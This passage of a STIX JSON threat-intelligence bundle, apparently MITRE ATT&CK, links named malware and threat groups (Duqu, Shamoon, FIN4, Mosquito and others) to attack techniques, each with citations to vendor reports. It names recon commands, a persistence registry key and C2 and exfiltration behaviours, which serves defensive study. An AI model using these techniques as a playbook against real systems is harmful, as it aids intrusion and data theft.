                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.971Z",
            "created": "2019-01-31T01:07:58.944Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                },
                {
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.",
                    "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html",
                    "source_name": "FireEye Hacking FIN4 Video Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has lured victims to launch malicious attachments delivered via spearphishing emails (often sent from compromised accounts).(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
            "id": "relationship--59b6b000-c8c5-4b4a-8801-5102de111111",
            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-17T14:20:19.945Z",
            "created": "2019-01-31T02:01:45.715Z"
        },
        {
            "id": "relationship--edea5971-fc27-4637-8de9-aabcd50784a7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
            "relationship_type": "uses",
            "target_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets",
                    "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.",
                    "source_name": "Symantec Strider Blog"
                },
                {
                    "url": "https://securelist.com/faq-the-projectsauron-apt/75533/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.",
                    "source_name": "Kaspersky ProjectSauron Blog"
                }
            ],
            "description": "(Citation: Symantec Strider Blog)(Citation: Kaspersky ProjectSauron Blog)",
            "type": "relationship",
            "modified": "2019-03-25T16:59:10.964Z",
            "created": "2017-05-31T21:33:27.077Z"
        },
        {
            "id": "relationship--9ea25bfb-3e3a-42cb-8d2a-939169057806",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.(Citation: Palo Alto CVE-2015-3113 July 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto CVE-2015-3113 July 2015",
                    "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
                }
            ],
            "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2020-03-18T20:44:39.372Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--829ec8ab-3e48-442b-beb2-b0d2dbdaaca0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has exploited multiple Microsoft Office and .NET vulnerabilities for execution, including CVE-2017-0199, CVE-2017-8759, and CVE-2017-11882.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
                },
                {
                    "source_name": "FireEye Periscope March 2018",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
                }
            ],
            "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "type": "relationship",
            "modified": "2019-04-25T12:24:57.195Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--a61cf8cf-87f1-4061-ae9d-31e8162bdfef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2020-02-11T16:23:56.680Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a70d06e8-63dd-4cb3-83a5-f7bd8f2a8132",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
            "relationship_type": "uses",
            "target_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21",
            "external_references": [
                {
                    "url": "https://securelist.com/winnti-more-than-just-a-game/37029/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.",
                    "source_name": "Kaspersky Winnti April 2013"
                },
                {
                    "url": "https://securelist.com/games-are-over/70991/",
                    "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.",
                    "source_name": "Kaspersky Winnti June 2015"
                }
            ],
            "description": "(Citation: Kaspersky Winnti April 2013)(Citation: Kaspersky Winnti June 2015)",
            "type": "relationship",
            "modified": "2019-03-25T17:15:03.485Z",
            "created": "2017-05-31T21:33:27.079Z"
        },
        {
            "id": "relationship--0f3af4de-b1cc-4cc2-9eb7-9aa46cdebfcd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Modules can be pushed to and executed by [Duqu](https://attack.mitre.org/software/S0038) that copy data to a staging area, compress it, and XOR encrypt it.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "type": "relationship",
            "modified": "2020-03-30T02:07:19.295Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6c9649b7-00c6-4503-a911-9e8b9086eac4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.(Citation: Forcepoint Monsoon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.325Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5365d764-76fa-49ce-b76b-d0344322b037",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reg](https://attack.mitre.org/software/S0075) may be used to gather details from the Windows Registry of a local or remote system at the command-line interface.(Citation: Microsoft Reg)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft Reg",
                    "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896"
        },
        {
            "id": "relationship--41e52a99-9797-4c31-8b3c-7adeed98310a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can change Internet Explorer settings to reduce warnings about malware activity.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2020-03-17T01:53:17.465Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7331b11d-1d5e-4275-ba7e-a83ec4a59259",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) takes periodic screenshots and exfiltrates them.(Citation: F-Secure Cosmicduke)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure Cosmicduke",
                    "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-16T16:36:13.656Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e7a0b7a4-b49b-46b9-9bfa-5db0a87dd09e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses a module to execute Mimikatz with PowerShell to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).(Citation: Symantec Seaduke 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Seaduke 2015",
                    "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.",
                    "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"
                }
            ],
            "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2021-04-26T17:40:17.326Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--771c349e-1b23-41ea-bcab-59bdbd6c935f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ELMER](https://attack.mitre.org/software/S0064) is capable of performing process listings.(Citation: FireEye EPS Awakens Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye EPS Awakens Part 2",
                    "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html"
                }
            ],
            "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-17T01:05:58.285Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c5a7cf46-a3ab-4d33-a43f-012c0c5fdf63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) attempts to disable UAC remote restrictions by modifying the Registry.(Citation: Palo Alto Shamoon Nov 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Shamoon Nov 2016",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2019-04-24T23:59:16.128Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d57d1a71-6ac7-4028-ba73-86e5df98395f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POSHSPY](https://attack.mitre.org/software/S0150) modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.(Citation: FireEye POSHSPY April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
                }
            ],
            "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2019-04-24T23:41:40.061Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--62f9aa2c-b0c1-4028-a2b8-c436e30ace4b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to list the victim's processes.(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.335Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--efbe5efa-6863-4334-90e5-d7caab9806a6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory.(Citation: Citizen Lab Stealth Falcon May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T02:38:48.490Z",
            "created": "2017-05-31T21:33:27.073Z"
        },
        {
            "id": "relationship--83ac6dba-c74f-4a9e-aba3-3581a67588bf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) base64 encodes strings that are sent to the C2 over its DNS tunnel.(Citation: Unit 42 DarkHydrus July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T22:45:56.073Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cfa38151-4972-4355-8071-dd36cb1be880",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects network adapter and interface information by using the commands <code>ipconfig /all</code>, <code>arp -a</code> and <code>route print</code>. It also collects the system's MAC address with <code>getmac</code> and domain configuration with <code>net config workstation</code>.(Citation: Symantec Orangeworm April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Orangeworm April 2018",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
                }
            ],
            "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-18T00:52:18.837Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d219ed2b-2877-450f-9a69-a30f36497d14",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Gazer](https://attack.mitre.org/software/S0168) obtains the current user's security identifier.(Citation: Securelist WhiteBear Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist WhiteBear Aug 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "url": "https://securelist.com/introducing-whitebear/81638/"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-17T01:22:43.629Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--210f5206-8763-48ac-a4c3-a08440892b5d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Carbanak](https://attack.mitre.org/software/S0030) malware communicates to its command server using HTTP with an encrypted payload.(Citation: Kaspersky Carbanak)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Carbanak",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T00:31:12.790Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--32e93dd8-d0df-40d8-b85f-e10e70fc0b8f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InnaputRAT](https://attack.mitre.org/software/S0259) gathers volume drive information and system information.(Citation: ASERT InnaputRAT April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ASERT InnaputRAT April 2018",
                    "description": "ASERT Team. (2018, April 04). Innaput Actors Utilize Remote Access Trojan Since 2016, Presumably Targeting Victim Files. Retrieved July 9, 2018.",
                    "url": "https://asert.arbornetworks.com/innaput-actors-utilize-remote-access-trojan-since-2016-presumably-targeting-victim-files/"
                }
            ],
            "source_ref": "malware--c8b6cc43-ce61-42ae-87f3-a5f10526f952",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-18T00:48:35.850Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3872901c-9601-413e-bf8a-e2fe35772c71",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) can delete files.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.639Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--be12c965-ec79-4871-94de-c8421436c30c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MacSpy](https://attack.mitre.org/software/S0282) can record the sounds from microphones on a computer.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
            "type": "relationship",
            "modified": "2020-01-17T19:50:53.331Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--9701df31-e2f4-487b-a204-26c4347ef32d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256) runs <code>tasklist</code> to obtain running processes.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.007Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--609d3d8c-1995-43ef-a102-a39d668a774d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) encrypts C2 traffic using RC4 with a static key.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:06:06.278Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e73d4586-569d-4f32-9468-95777d65770a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256) establishes persistence under the Registry key <code>HKCU\\Software\\Run auto_update</code>.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
